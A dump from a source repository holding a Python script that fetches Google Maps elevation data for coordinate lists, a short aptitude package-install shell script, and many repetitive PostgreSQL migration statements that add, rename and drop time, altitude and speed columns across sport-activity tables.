sys.exit(app.exec_())
| 9b9ba6715b08288b08e25c1da4b1db29fea8472c | [
"Python"
] | 1 | Python | AD2853/RTC_analyza | e725436f13670da331fbce3de424854127388cba | 867727ab52b60318e11db1c55fb797ffdbcb72ae |
refs/heads/master | <file_sep>#!/Users/pmulrooney/anaconda2/bin/python
import os.path
import googlemaps
import ast
#######
# Input format. Max 512 pairs per row.
# Example:
#
# [[32.7422030000,-117.2538830000],[32.7422078233,35.2251520101],...,[32.7422030000,-117.2538830000],[32.7422078233,35.2251520101]]
# ...
# [[32.7422030000,-117.2538830000],[32.7422078233,35.2251520101],...,[32.7422030000,-117.2538830000],[32.7422078233,35.2251520101]]
#
######
path="/Users/pmulrooney/Desktop/lat_longs_google/"
fname="xak"
gmaps = googlemaps.Client(key='<<KEY HERE>>')
locations = []
content = []
with open(path + fname) as f:
content = f.readlines()
for _content in content:
locations.append(ast.literal_eval(_content.strip()))
output = []
ofile=path + fname + ".out"
of=open(ofile, 'a')
for _location in locations:
# touch /tmp/stop to stop loop
if os.path.isfile("/tmp/stop") == True:
break
try:
print _location
_tmp = gmaps.elevation(_location)
for _ent in _tmp:
_lat = _ent['location']['lat']
_lng = _ent['location']['lng']
_ele = _ent['elevation']
of.write(str(_lat) + "," + str(_lng) + "," + str(_ele) + "\n")
except:
pass
of.close()
<file_sep>alter table aerobics add column timef integer;
alter table american_football add column timef integer;
alter table badminton add column timef integer;
alter table baseball add column timef integer;
alter table basketball add column timef integer;
alter table beach_volleyball add column timef integer;
alter table bike add column timef integer;
alter table bike_transport add column timef integer;
alter table boxing add column timef integer;
alter table circuit_training add column timef integer;
alter table climbing add column timef integer;
alter table core_stability_training add column timef integer;
alter table cricket add column timef integer;
alter table cross_country_skiing add column timef integer;
alter table dancing add column timef integer;
alter table downhill_skiing add column timef integer;
alter table elliptical add column timef integer;
alter table fencing add column timef integer;
alter table fitness_walking add column timef integer;
alter table golf add column timef integer;
alter table gymnastics add column timef integer;
alter table handball add column timef integer;
alter table hiking add column timef integer;
alter table hockey add column timef integer;
alter table horseback_riding add column timef integer;
alter table indoor_cycling add column timef integer;
alter table kayaking add column timef integer;
alter table kite_surfing add column timef integer;
alter table martial_arts add column timef integer;
alter table mountain_bike add column timef integer;
alter table orienteering add column timef integer;
alter table pilates add column timef integer;
alter table polo add column timef integer;
alter table roller_skiing add column timef integer;
alter table rowing add column timef integer;
alter table rugby add column timef integer;
alter table run add column timef integer;
alter table sailing add column timef integer;
alter table scuba_diving add column timef integer;
alter table skate add column timef integer;
alter table skateboarding add column timef integer;
alter table snowboarding add column timef integer;
alter table snowshoeing add column timef integer;
alter table soccer add column timef integer;
alter table squash add column timef integer;
alter table stair_climing add column timef integer;
alter table step_counter add column timef integer;
alter table surfing add column timef integer;
alter table swimming add column timef integer;
alter table table_tennis add column timef integer;
alter table tennis add column timef integer;
alter table treadmill_running add column timef integer;
alter table treadmill_walking add column timef integer;
alter table volleyball add column timef integer;
alter table walk add column timef integer;
alter table walk_transport add column timef integer;
alter table weight_lifting add column timef integer;
alter table weight_training add column timef integer;
alter table wheelchair add column timef integer;
alter table windsurfing add column timef integer;
alter table yoga add column timef integer;
#
#
#
update aerobics set timef = time - 38400;
#UPDATE 700727
update american_football set timef = time - 38400;
#UPDATE 107209
update badminton set timef = time - 38400;
#UPDATE 168483
update baseball set timef = time - 38400;
#UPDATE 18855
update basketball set timef = time - 38400;
#UPDATE 71589
update beach_volleyball set timef = time - 38400;
#UPDATE 7232
update bike set timef = time - 38400;
#UPDATE 111518204
update bike_transport set timef = time - 38400;
#UPDATE 33885018
update boxing set timef = time - 38400;
#UPDATE 176767
update circuit_training set timef = time - 38400;
#UPDATE 1938519
update climbing set timef = time - 38400;
#UPDATE 33946
update core_stability_training set timef = time - 38400;
#UPDATE 2168159
update cricket set timef = time - 38400;
#UPDATE 988
update cross_country_skiing set timef = time - 38400;
#UPDATE 1601358
update dancing set timef = time - 38400;
#UPDATE 99759
update downhill_skiing set timef = time - 38400;
#UPDATE 612909
update elliptical set timef = time - 38400;
#UPDATE 1360017
update fencing set timef = time - 38400;
#UPDATE 120
update fitness_walking set timef = time - 38400;
#UPDATE 1267963
update golf set timef = time - 38400;
#UPDATE 168504
update gymnastics set timef = time - 38400;
#UPDATE 284372
update handball set timef = time - 38400;
#UPDATE 2324
update hiking set timef = time - 38400;
#UPDATE 2583390
update hockey set timef = time - 38400;
#UPDATE 15060
update horseback_riding set timef = time - 38400;
#UPDATE 249169
update indoor_cycling set timef = time - 38400;
update kayaking set timef = time - 38400;
#UPDATE 531068
update kite_surfing set timef = time - 38400;
#UPDATE 23019
update martial_arts set timef = time - 38400;
#UPDATE 197918
update mountain_bike set timef = time - 38400;
#UPDATE 18689995
update orienteering set timef = time - 38400;
#UPDATE 1135454
update pilates set timef = time - 38400;
#UPDATE 202988
update polo set timef = time - 38400;
#UPDATE 1019
update roller_skiing set timef = time - 38400;
#UPDATE 730646
update rowing set timef = time - 38400;
#UPDATE 696205
update rugby set timef = time - 38400;
#UPDATE 3617
update run set timef = time - 38400;
#UPDATE 140057634
update sailing set timef = time - 38400;
#UPDATE 107292
update scuba_diving set timef = time - 38400;
#UPDATE 4894
update skate set timef = time - 38400;
#UPDATE 1809964
update skateboarding set timef = time - 38400;
#UPDATE 97409
update snowboarding set timef = time - 38400;
#UPDATE 97948
update snowshoeing set timef = time - 38400;
#UPDATE 47368
update soccer set timef = time - 38400;
#UPDATE 202361
update squash set timef = time - 38400;
#UPDATE 63854
update stair_climing set timef = time - 38400;
#UPDATE 209398
update step_counter set timef = time - 38400;
#UPDATE 158610
update surfing set timef = time - 38400;
#UPDATE 102421
update swimming set timef = time - 38400;
#UPDATE 1020717
update table_tennis set timef = time - 38400;
#UPDATE 12941
update tennis set timef = time - 38400;
#UPDATE 69529
update treadmill_running set timef = time - 38400;
#UPDATE 1602481
update treadmill_walking set timef = time - 38400;
#UPDATE 207539
update volleyball set timef = time - 38400;
#UPDATE 6562
update walk set timef = time - 38400;
#UPDATE 27687925
update walk_transport set timef = time - 38400;
#UPDATE 991
update weight_lifting set timef = time - 38400;
#UPDATE 500
update weight_training set timef = time - 38400;
#UPDATE 4993649
update wheelchair set timef = time - 38400;
#UPDATE 4296
update windsurfing set timef = time - 38400;
#UPDATE 71027
update yoga set timef = time - 38400;
#UPDATE 723745
<file_sep>alter table aerobics rename column timef to time;
alter table american_football rename column timef to time;
alter table badminton rename column timef to time;
alter table baseball rename column timef to time;
alter table basketball rename column timef to time;
alter table beach_volleyball rename column timef to time;
alter table bike rename column timef to time;
alter table bike_transport rename column timef to time;
alter table boxing rename column timef to time;
alter table circuit_training rename column timef to time;
alter table climbing rename column timef to time;
alter table core_stability_training rename column timef to time;
alter table cricket rename column timef to time;
alter table cross_country_skiing rename column timef to time;
alter table dancing rename column timef to time;
alter table downhill_skiing rename column timef to time;
alter table elliptical rename column timef to time;
alter table fencing rename column timef to time;
alter table fitness_walking rename column timef to time;
alter table golf rename column timef to time;
alter table gymnastics rename column timef to time;
alter table handball rename column timef to time;
alter table hiking rename column timef to time;
alter table hockey rename column timef to time;
alter table horseback_riding rename column timef to time;
alter table indoor_cycling rename column timef to time;
alter table kayaking rename column timef to time;
alter table kite_surfing rename column timef to time;
alter table martial_arts rename column timef to time;
alter table mountain_bike rename column timef to time;
alter table orienteering rename column timef to time;
alter table pilates rename column timef to time;
alter table polo rename column timef to time;
alter table roller_skiing rename column timef to time;
alter table rowing rename column timef to time;
alter table rugby rename column timef to time;
alter table run rename column timef to time;
alter table sailing rename column timef to time;
alter table scuba_diving rename column timef to time;
alter table skate rename column timef to time;
alter table skateboarding rename column timef to time;
alter table snowboarding rename column timef to time;
alter table snowshoeing rename column timef to time;
alter table soccer rename column timef to time;
alter table squash rename column timef to time;
alter table stair_climing rename column timef to time;
alter table step_counter rename column timef to time;
alter table surfing rename column timef to time;
alter table swimming rename column timef to time;
alter table table_tennis rename column timef to time;
alter table tennis rename column timef to time;
alter table treadmill_running rename column timef to time;
alter table treadmill_walking rename column timef to time;
alter table volleyball rename column timef to time;
alter table walk rename column timef to time;
alter table walk_transport rename column timef to time;
alter table weight_lifting rename column timef to time;
alter table weight_training rename column timef to time;
alter table wheelchair rename column timef to time;
alter table windsurfing rename column timef to time;
alter table yoga rename column timef to time;
<file_sep>#!/bin/sh
list=$1
shift
aptitude -q -R --schedule-only install $(awk < $list '{print $1}')
aptitude -q -R --schedule-only markauto $(awk < $list '$2=="A" {split($1,A,"=");print A[1]}')
<file_sep>alter table aerobics drop column if exists altitude_first;
alter table american_football drop column if exists altitude_first;
alter table badminton drop column if exists altitude_first;
alter table baseball drop column if exists altitude_first;
alter table basketball drop column if exists altitude_first;
alter table beach_volleyball drop column if exists altitude_first;
alter table bike_transport drop column if exists altitude_first;
alter table boxing drop column if exists altitude_first;
alter table circuit_training drop column if exists altitude_first;
alter table climbing drop column if exists altitude_first;
alter table core_stability_training drop column if exists altitude_first;
alter table cricket drop column if exists altitude_first;
alter table cross_country_skiing drop column if exists altitude_first;
alter table dancing drop column if exists altitude_first;
alter table downhill_skiing drop column if exists altitude_first;
alter table elliptical drop column if exists altitude_first;
alter table fencing drop column if exists altitude_first;
alter table fitness_walking drop column if exists altitude_first;
alter table golf drop column if exists altitude_first;
alter table gymnastics drop column if exists altitude_first;
alter table handball drop column if exists altitude_first;
alter table hiking drop column if exists altitude_first;
alter table hockey drop column if exists altitude_first;
alter table horseback_riding drop column if exists altitude_first;
alter table indoor_cycling drop column if exists altitude_first;
alter table kayaking drop column if exists altitude_first;
alter table kite_surfing drop column if exists altitude_first;
alter table martial_arts drop column if exists altitude_first;
alter table mountain_bike drop column if exists altitude_first;
alter table orienteering drop column if exists altitude_first;
alter table pilates drop column if exists altitude_first;
alter table polo drop column if exists altitude_first;
alter table roller_skiing drop column if exists altitude_first;
alter table rowing drop column if exists altitude_first;
alter table rugby drop column if exists altitude_first;
alter table sailing drop column if exists altitude_first;
alter table scuba_diving drop column if exists altitude_first;
alter table skate drop column if exists altitude_first;
alter table skateboarding drop column if exists altitude_first;
alter table snowboarding drop column if exists altitude_first;
alter table snowshoeing drop column if exists altitude_first;
alter table soccer drop column if exists altitude_first;
alter table squash drop column if exists altitude_first;
alter table stair_climing drop column if exists altitude_first;
alter table step_counter drop column if exists altitude_first;
alter table surfing drop column if exists altitude_first;
alter table swimming drop column if exists altitude_first;
alter table table_tennis drop column if exists altitude_first;
alter table tennis drop column if exists altitude_first;
alter table treadmill_running drop column if exists altitude_first;
alter table treadmill_walking drop column if exists altitude_first;
alter table volleyball drop column if exists altitude_first;
alter table walk drop column if exists altitude_first;
alter table walk_transport drop column if exists altitude_first;
alter table weight_lifting drop column if exists altitude_first;
alter table weight_training drop column if exists altitude_first;
alter table wheelchair drop column if exists altitude_first;
alter table windsurfing drop column if exists altitude_first;
alter table yoga drop column if exists altitude_first;
alter table aerobics drop column if exists altitude_second;
alter table american_football drop column if exists altitude_second;
alter table badminton drop column if exists altitude_second;
alter table baseball drop column if exists altitude_second;
alter table basketball drop column if exists altitude_second;
alter table beach_volleyball drop column if exists altitude_second;
alter table bike_transport drop column if exists altitude_second;
alter table boxing drop column if exists altitude_second;
alter table circuit_training drop column if exists altitude_second;
alter table climbing drop column if exists altitude_second;
alter table core_stability_training drop column if exists altitude_second;
alter table cricket drop column if exists altitude_second;
alter table cross_country_skiing drop column if exists altitude_second;
alter table dancing drop column if exists altitude_second;
alter table downhill_skiing drop column if exists altitude_second;
alter table elliptical drop column if exists altitude_second;
alter table fencing drop column if exists altitude_second;
alter table fitness_walking drop column if exists altitude_second;
alter table golf drop column if exists altitude_second;
alter table gymnastics drop column if exists altitude_second;
alter table handball drop column if exists altitude_second;
alter table hiking drop column if exists altitude_second;
alter table hockey drop column if exists altitude_second;
alter table horseback_riding drop column if exists altitude_second;
alter table indoor_cycling drop column if exists altitude_second;
alter table kayaking drop column if exists altitude_second;
alter table kite_surfing drop column if exists altitude_second;
alter table martial_arts drop column if exists altitude_second;
alter table mountain_bike drop column if exists altitude_second;
alter table orienteering drop column if exists altitude_second;
alter table pilates drop column if exists altitude_second;
alter table polo drop column if exists altitude_second;
alter table roller_skiing drop column if exists altitude_second;
alter table rowing drop column if exists altitude_second;
alter table rugby drop column if exists altitude_second;
alter table sailing drop column if exists altitude_second;
alter table scuba_diving drop column if exists altitude_second;
alter table skate drop column if exists altitude_second;
alter table skateboarding drop column if exists altitude_second;
alter table snowboarding drop column if exists altitude_second;
alter table snowshoeing drop column if exists altitude_second;
alter table soccer drop column if exists altitude_second;
alter table squash drop column if exists altitude_second;
alter table stair_climing drop column if exists altitude_second;
alter table step_counter drop column if exists altitude_second;
alter table surfing drop column if exists altitude_second;
alter table swimming drop column if exists altitude_second;
alter table table_tennis drop column if exists altitude_second;
alter table tennis drop column if exists altitude_second;
alter table treadmill_running drop column if exists altitude_second;
alter table treadmill_walking drop column if exists altitude_second;
alter table volleyball drop column if exists altitude_second;
alter table walk drop column if exists altitude_second;
alter table walk_transport drop column if exists altitude_second;
alter table weight_lifting drop column if exists altitude_second;
alter table weight_training drop column if exists altitude_second;
alter table wheelchair drop column if exists altitude_second;
alter table windsurfing drop column if exists altitude_second;
alter table yoga drop column if exists altitude_second;
alter table aerobics drop column if exists speed_first;
alter table american_football drop column if exists speed_first;
alter table badminton drop column if exists speed_first;
alter table baseball drop column if exists speed_first;
alter table basketball drop column if exists speed_first;
alter table beach_volleyball drop column if exists speed_first;
alter table bike_transport drop column if exists speed_first;
alter table boxing drop column if exists speed_first;
alter table circuit_training drop column if exists speed_first;
alter table climbing drop column if exists speed_first;
alter table core_stability_training drop column if exists speed_first;
alter table cricket drop column if exists speed_first;
alter table cross_country_skiing drop column if exists speed_first;
alter table dancing drop column if exists speed_first;
alter table downhill_skiing drop column if exists speed_first;
alter table elliptical drop column if exists speed_first;
alter table fencing drop column if exists speed_first;
alter table fitness_walking drop column if exists speed_first;
alter table golf drop column if exists speed_first;
alter table gymnastics drop column if exists speed_first;
alter table handball drop column if exists speed_first;
alter table hiking drop column if exists speed_first;
alter table hockey drop column if exists speed_first;
alter table horseback_riding drop column if exists speed_first;
alter table indoor_cycling drop column if exists speed_first;
alter table kayaking drop column if exists speed_first;
alter table kite_surfing drop column if exists speed_first;
alter table martial_arts drop column if exists speed_first;
alter table mountain_bike drop column if exists speed_first;
alter table orienteering drop column if exists speed_first;
alter table pilates drop column if exists speed_first;
alter table polo drop column if exists speed_first;
alter table roller_skiing drop column if exists speed_first;
alter table rowing drop column if exists speed_first;
alter table rugby drop column if exists speed_first;
alter table sailing drop column if exists speed_first;
alter table scuba_diving drop column if exists speed_first;
alter table skate drop column if exists speed_first;
alter table skateboarding drop column if exists speed_first;
alter table snowboarding drop column if exists speed_first;
alter table snowshoeing drop column if exists speed_first;
alter table soccer drop column if exists speed_first;
alter table squash drop column if exists speed_first;
alter table stair_climing drop column if exists speed_first;
alter table step_counter drop column if exists speed_first;
alter table surfing drop column if exists speed_first;
alter table swimming drop column if exists speed_first;
alter table table_tennis drop column if exists speed_first;
alter table tennis drop column if exists speed_first;
alter table treadmill_running drop column if exists speed_first;
alter table treadmill_walking drop column if exists speed_first;
alter table volleyball drop column if exists speed_first;
alter table walk drop column if exists speed_first;
alter table walk_transport drop column if exists speed_first;
alter table weight_lifting drop column if exists speed_first;
alter table weight_training drop column if exists speed_first;
alter table wheelchair drop column if exists speed_first;
alter table windsurfing drop column if exists speed_first;
alter table yoga drop column if exists speed_first;
alter table aerobics drop column if exists elapsed_distance;
alter table american_football drop column if exists elapsed_distance;
alter table badminton drop column if exists elapsed_distance;
alter table baseball drop column if exists elapsed_distance;
alter table basketball drop column if exists elapsed_distance;
alter table beach_volleyball drop column if exists elapsed_distance;
alter table bike_transport drop column if exists elapsed_distance;
alter table boxing drop column if exists elapsed_distance;
alter table circuit_training drop column if exists elapsed_distance;
alter table climbing drop column if exists elapsed_distance;
alter table core_stability_training drop column if exists elapsed_distance;
alter table cricket drop column if exists elapsed_distance;
alter table cross_country_skiing drop column if exists elapsed_distance;
alter table dancing drop column if exists elapsed_distance;
alter table downhill_skiing drop column if exists elapsed_distance;
alter table elliptical drop column if exists elapsed_distance;
alter table fencing drop column if exists elapsed_distance;
alter table fitness_walking drop column if exists elapsed_distance;
alter table golf drop column if exists elapsed_distance;
alter table gymnastics drop column if exists elapsed_distance;
alter table handball drop column if exists elapsed_distance;
alter table hiking drop column if exists elapsed_distance;
alter table hockey drop column if exists elapsed_distance;
alter table horseback_riding drop column if exists elapsed_distance;
alter table indoor_cycling drop column if exists elapsed_distance;
alter table kayaking drop column if exists elapsed_distance;
alter table kite_surfing drop column if exists elapsed_distance;
alter table martial_arts drop column if exists elapsed_distance;
alter table mountain_bike drop column if exists elapsed_distance;
alter table orienteering drop column if exists elapsed_distance;
alter table pilates drop column if exists elapsed_distance;
alter table polo drop column if exists elapsed_distance;
alter table roller_skiing drop column if exists elapsed_distance;
alter table rowing drop column if exists elapsed_distance;
alter table rugby drop column if exists elapsed_distance;
alter table sailing drop column if exists elapsed_distance;
alter table scuba_diving drop column if exists elapsed_distance;
alter table skate drop column if exists elapsed_distance;
alter table skateboarding drop column if exists elapsed_distance;
alter table snowboarding drop column if exists elapsed_distance;
alter table snowshoeing drop column if exists elapsed_distance;
alter table soccer drop column if exists elapsed_distance;
alter table squash drop column if exists elapsed_distance;
alter table stair_climing drop column if exists elapsed_distance;
alter table step_counter drop column if exists elapsed_distance;
alter table surfing drop column if exists elapsed_distance;
alter table swimming drop column if exists elapsed_distance;
alter table table_tennis drop column if exists elapsed_distance;
alter table tennis drop column if exists elapsed_distance;
alter table treadmill_running drop column if exists elapsed_distance;
alter table treadmill_walking drop column if exists elapsed_distance;
alter table volleyball drop column if exists elapsed_distance;
alter table walk drop column if exists elapsed_distance;
alter table walk_transport drop column if exists elapsed_distance;
alter table weight_lifting drop column if exists elapsed_distance;
alter table weight_training drop column if exists elapsed_distance;
alter table wheelchair drop column if exists elapsed_distance;
alter table windsurfing drop column if exists elapsed_distance;
alter table yoga drop column if exists elapsed_distance;
alter table aerobics drop column if exists elapsed_time;
alter table american_football drop column if exists elapsed_time;
alter table badminton drop column if exists elapsed_time;
alter table baseball drop column if exists elapsed_time;
alter table basketball drop column if exists elapsed_time;
alter table beach_volleyball drop column if exists elapsed_time;
alter table bike_transport drop column if exists elapsed_time;
alter table boxing drop column if exists elapsed_time;
alter table circuit_training drop column if exists elapsed_time;
alter table climbing drop column if exists elapsed_time;
alter table core_stability_training drop column if exists elapsed_time;
alter table cricket drop column if exists elapsed_time;
alter table cross_country_skiing drop column if exists elapsed_time;
alter table dancing drop column if exists elapsed_time;
alter table downhill_skiing drop column if exists elapsed_time;
alter table elliptical drop column if exists elapsed_time;
alter table fencing drop column if exists elapsed_time;
alter table fitness_walking drop column if exists elapsed_time;
alter table golf drop column if exists elapsed_time;
alter table gymnastics drop column if exists elapsed_time;
alter table handball drop column if exists elapsed_time;
alter table hiking drop column if exists elapsed_time;
alter table hockey drop column if exists elapsed_time;
alter table horseback_riding drop column if exists elapsed_time;
alter table indoor_cycling drop column if exists elapsed_time;
alter table kayaking drop column if exists elapsed_time;
alter table kite_surfing drop column if exists elapsed_time;
alter table martial_arts drop column if exists elapsed_time;
alter table mountain_bike drop column if exists elapsed_time;
alter table orienteering drop column if exists elapsed_time;
alter table pilates drop column if exists elapsed_time;
alter table polo drop column if exists elapsed_time;
alter table roller_skiing drop column if exists elapsed_time;
alter table rowing drop column if exists elapsed_time;
alter table rugby drop column if exists elapsed_time;
alter table sailing drop column if exists elapsed_time;
alter table scuba_diving drop column if exists elapsed_time;
alter table skate drop column if exists elapsed_time;
alter table skateboarding drop column if exists elapsed_time;
alter table snowboarding drop column if exists elapsed_time;
alter table snowshoeing drop column if exists elapsed_time;
alter table soccer drop column if exists elapsed_time;
alter table squash drop column if exists elapsed_time;
alter table stair_climing drop column if exists elapsed_time;
alter table step_counter drop column if exists elapsed_time;
alter table surfing drop column if exists elapsed_time;
alter table swimming drop column if exists elapsed_time;
alter table table_tennis drop column if exists elapsed_time;
alter table tennis drop column if exists elapsed_time;
alter table treadmill_running drop column if exists elapsed_time;
alter table treadmill_walking drop column if exists elapsed_time;
alter table volleyball drop column if exists elapsed_time;
alter table walk drop column if exists elapsed_time;
alter table walk_transport drop column if exists elapsed_time;
alter table weight_lifting drop column if exists elapsed_time;
alter table weight_training drop column if exists elapsed_time;
alter table wheelchair drop column if exists elapsed_time;
alter table windsurfing drop column if exists elapsed_time;
alter table yoga drop column if exists elapsed_time;
alter table aerobics drop column if exists heart_rate_ma_25;
alter table american_football drop column if exists heart_rate_ma_25;
alter table badminton drop column if exists heart_rate_ma_25;
alter table baseball drop column if exists heart_rate_ma_25;
alter table basketball drop column if exists heart_rate_ma_25;
alter table beach_volleyball drop column if exists heart_rate_ma_25;
alter table bike_transport drop column if exists heart_rate_ma_25;
alter table boxing drop column if exists heart_rate_ma_25;
alter table circuit_training drop column if exists heart_rate_ma_25;
alter table climbing drop column if exists heart_rate_ma_25;
alter table core_stability_training drop column if exists heart_rate_ma_25;
alter table cricket drop column if exists heart_rate_ma_25;
alter table cross_country_skiing drop column if exists heart_rate_ma_25;
alter table dancing drop column if exists heart_rate_ma_25;
alter table downhill_skiing drop column if exists heart_rate_ma_25;
alter table elliptical drop column if exists heart_rate_ma_25;
alter table fencing drop column if exists heart_rate_ma_25;
alter table fitness_walking drop column if exists heart_rate_ma_25;
alter table golf drop column if exists heart_rate_ma_25;
alter table gymnastics drop column if exists heart_rate_ma_25;
alter table handball drop column if exists heart_rate_ma_25;
alter table hiking drop column if exists heart_rate_ma_25;
alter table hockey drop column if exists heart_rate_ma_25;
alter table horseback_riding drop column if exists heart_rate_ma_25;
alter table indoor_cycling drop column if exists heart_rate_ma_25;
alter table kayaking drop column if exists heart_rate_ma_25;
alter table kite_surfing drop column if exists heart_rate_ma_25;
alter table martial_arts drop column if exists heart_rate_ma_25;
alter table mountain_bike drop column if exists heart_rate_ma_25;
alter table orienteering drop column if exists heart_rate_ma_25;
alter table pilates drop column if exists heart_rate_ma_25;
alter table polo drop column if exists heart_rate_ma_25;
alter table roller_skiing drop column if exists heart_rate_ma_25;
alter table rowing drop column if exists heart_rate_ma_25;
alter table rugby drop column if exists heart_rate_ma_25;
alter table sailing drop column if exists heart_rate_ma_25;
alter table scuba_diving drop column if exists heart_rate_ma_25;
alter table skate drop column if exists heart_rate_ma_25;
alter table skateboarding drop column if exists heart_rate_ma_25;
alter table snowboarding drop column if exists heart_rate_ma_25;
alter table snowshoeing drop column if exists heart_rate_ma_25;
alter table soccer drop column if exists heart_rate_ma_25;
alter table squash drop column if exists heart_rate_ma_25;
alter table stair_climing drop column if exists heart_rate_ma_25;
alter table step_counter drop column if exists heart_rate_ma_25;
alter table surfing drop column if exists heart_rate_ma_25;
alter table swimming drop column if exists heart_rate_ma_25;
alter table table_tennis drop column if exists heart_rate_ma_25;
alter table tennis drop column if exists heart_rate_ma_25;
alter table treadmill_running drop column if exists heart_rate_ma_25;
alter table treadmill_walking drop column if exists heart_rate_ma_25;
alter table volleyball drop column if exists heart_rate_ma_25;
alter table walk drop column if exists heart_rate_ma_25;
alter table walk_transport drop column if exists heart_rate_ma_25;
alter table weight_lifting drop column if exists heart_rate_ma_25;
alter table weight_training drop column if exists heart_rate_ma_25;
alter table wheelchair drop column if exists heart_rate_ma_25;
alter table windsurfing drop column if exists heart_rate_ma_25;
alter table yoga drop column if exists heart_rate_ma_25;
alter table aerobics drop column if exists speed_ma_50;
alter table american_football drop column if exists speed_ma_50;
alter table badminton drop column if exists speed_ma_50;
alter table baseball drop column if exists speed_ma_50;
alter table basketball drop column if exists speed_ma_50;
alter table beach_volleyball drop column if exists speed_ma_50;
alter table bike_transport drop column if exists speed_ma_50;
alter table boxing drop column if exists speed_ma_50;
alter table circuit_training drop column if exists speed_ma_50;
alter table climbing drop column if exists speed_ma_50;
alter table core_stability_training drop column if exists speed_ma_50;
alter table cricket drop column if exists speed_ma_50;
alter table cross_country_skiing drop column if exists speed_ma_50;
alter table dancing drop column if exists speed_ma_50;
alter table downhill_skiing drop column if exists speed_ma_50;
alter table elliptical drop column if exists speed_ma_50;
alter table fencing drop column if exists speed_ma_50;
alter table fitness_walking drop column if exists speed_ma_50;
alter table golf drop column if exists speed_ma_50;
alter table gymnastics drop column if exists speed_ma_50;
alter table handball drop column if exists speed_ma_50;
alter table hiking drop column if exists speed_ma_50;
alter table hockey drop column if exists speed_ma_50;
alter table horseback_riding drop column if exists speed_ma_50;
alter table indoor_cycling drop column if exists speed_ma_50;
alter table kayaking drop column if exists speed_ma_50;
alter table kite_surfing drop column if exists speed_ma_50;
alter table martial_arts drop column if exists speed_ma_50;
alter table mountain_bike drop column if exists speed_ma_50;
alter table orienteering drop column if exists speed_ma_50;
alter table pilates drop column if exists speed_ma_50;
alter table polo drop column if exists speed_ma_50;
alter table roller_skiing drop column if exists speed_ma_50;
alter table rowing drop column if exists speed_ma_50;
alter table rugby drop column if exists speed_ma_50;
alter table sailing drop column if exists speed_ma_50;
alter table scuba_diving drop column if exists speed_ma_50;
alter table skate drop column if exists speed_ma_50;
alter table skateboarding drop column if exists speed_ma_50;
alter table snowboarding drop column if exists speed_ma_50;
alter table snowshoeing drop column if exists speed_ma_50;
alter table soccer drop column if exists speed_ma_50;
alter table squash drop column if exists speed_ma_50;
alter table stair_climing drop column if exists speed_ma_50;
alter table step_counter drop column if exists speed_ma_50;
alter table surfing drop column if exists speed_ma_50;
alter table swimming drop column if exists speed_ma_50;
alter table table_tennis drop column if exists speed_ma_50;
alter table tennis drop column if exists speed_ma_50;
alter table treadmill_running drop column if exists speed_ma_50;
alter table treadmill_walking drop column if exists speed_ma_50;
alter table volleyball drop column if exists speed_ma_50;
alter table walk drop column if exists speed_ma_50;
alter table walk_transport drop column if exists speed_ma_50;
alter table weight_lifting drop column if exists speed_ma_50;
alter table weight_training drop column if exists speed_ma_50;
alter table wheelchair drop column if exists speed_ma_50;
alter table windsurfing drop column if exists speed_ma_50;
alter table yoga drop column if exists speed_ma_50;
alter table aerobics drop column if exists speed_ma_100;
alter table american_football drop column if exists speed_ma_100;
alter table badminton drop column if exists speed_ma_100;
alter table baseball drop column if exists speed_ma_100;
alter table basketball drop column if exists speed_ma_100;
alter table beach_volleyball drop column if exists speed_ma_100;
alter table bike_transport drop column if exists speed_ma_100;
alter table boxing drop column if exists speed_ma_100;
alter table circuit_training drop column if exists speed_ma_100;
alter table climbing drop column if exists speed_ma_100;
alter table core_stability_training drop column if exists speed_ma_100;
alter table cricket drop column if exists speed_ma_100;
alter table cross_country_skiing drop column if exists speed_ma_100;
alter table dancing drop column if exists speed_ma_100;
alter table downhill_skiing drop column if exists speed_ma_100;
alter table elliptical drop column if exists speed_ma_100;
alter table fencing drop column if exists speed_ma_100;
alter table fitness_walking drop column if exists speed_ma_100;
alter table golf drop column if exists speed_ma_100;
alter table gymnastics drop column if exists speed_ma_100;
alter table handball drop column if exists speed_ma_100;
alter table hiking drop column if exists speed_ma_100;
alter table hockey drop column if exists speed_ma_100;
alter table horseback_riding drop column if exists speed_ma_100;
alter table indoor_cycling drop column if exists speed_ma_100;
alter table kayaking drop column if exists speed_ma_100;
alter table kite_surfing drop column if exists speed_ma_100;
alter table martial_arts drop column if exists speed_ma_100;
alter table mountain_bike drop column if exists speed_ma_100;
alter table orienteering drop column if exists speed_ma_100;
alter table pilates drop column if exists speed_ma_100;
alter table polo drop column if exists speed_ma_100;
alter table roller_skiing drop column if exists speed_ma_100;
alter table rowing drop column if exists speed_ma_100;
alter table rugby drop column if exists speed_ma_100;
alter table sailing drop column if exists speed_ma_100;
alter table scuba_diving drop column if exists speed_ma_100;
alter table skate drop column if exists speed_ma_100;
alter table skateboarding drop column if exists speed_ma_100;
alter table snowboarding drop column if exists speed_ma_100;
alter table snowshoeing drop column if exists speed_ma_100;
alter table soccer drop column if exists speed_ma_100;
alter table squash drop column if exists speed_ma_100;
alter table stair_climing drop column if exists speed_ma_100;
alter table step_counter drop column if exists speed_ma_100;
alter table surfing drop column if exists speed_ma_100;
alter table swimming drop column if exists speed_ma_100;
alter table table_tennis drop column if exists speed_ma_100;
alter table tennis drop column if exists speed_ma_100;
alter table treadmill_running drop column if exists speed_ma_100;
alter table treadmill_walking drop column if exists speed_ma_100;
alter table volleyball drop column if exists speed_ma_100;
alter table walk drop column if exists speed_ma_100;
alter table walk_transport drop column if exists speed_ma_100;
alter table weight_lifting drop column if exists speed_ma_100;
alter table weight_training drop column if exists speed_ma_100;
alter table wheelchair drop column if exists speed_ma_100;
alter table windsurfing drop column if exists speed_ma_100;
alter table yoga drop column if exists speed_ma_100;
<file_sep>alter table aerobics drop column time;
alter table american_football drop column time;
alter table badminton drop column time;
alter table baseball drop column time;
alter table basketball drop column time;
alter table beach_volleyball drop column time;
alter table bike drop column time;
alter table bike_transport drop column time;
alter table boxing drop column time;
alter table circuit_training drop column time;
alter table climbing drop column time;
alter table core_stability_training drop column time;
alter table cricket drop column time;
alter table cross_country_skiing drop column time;
alter table dancing drop column time;
alter table downhill_skiing drop column time;
alter table elliptical drop column time;
alter table fencing drop column time;
alter table fitness_walking drop column time;
alter table golf drop column time;
alter table gymnastics drop column time;
alter table handball drop column time;
alter table hiking drop column time;
alter table hockey drop column time;
alter table horseback_riding drop column time;
alter table indoor_cycling drop column time;
alter table kayaking drop column time;
alter table kite_surfing drop column time;
alter table martial_arts drop column time;
alter table mountain_bike drop column time;
alter table orienteering drop column time;
alter table pilates drop column time;
alter table polo drop column time;
alter table roller_skiing drop column time;
alter table rowing drop column time;
alter table rugby drop column time;
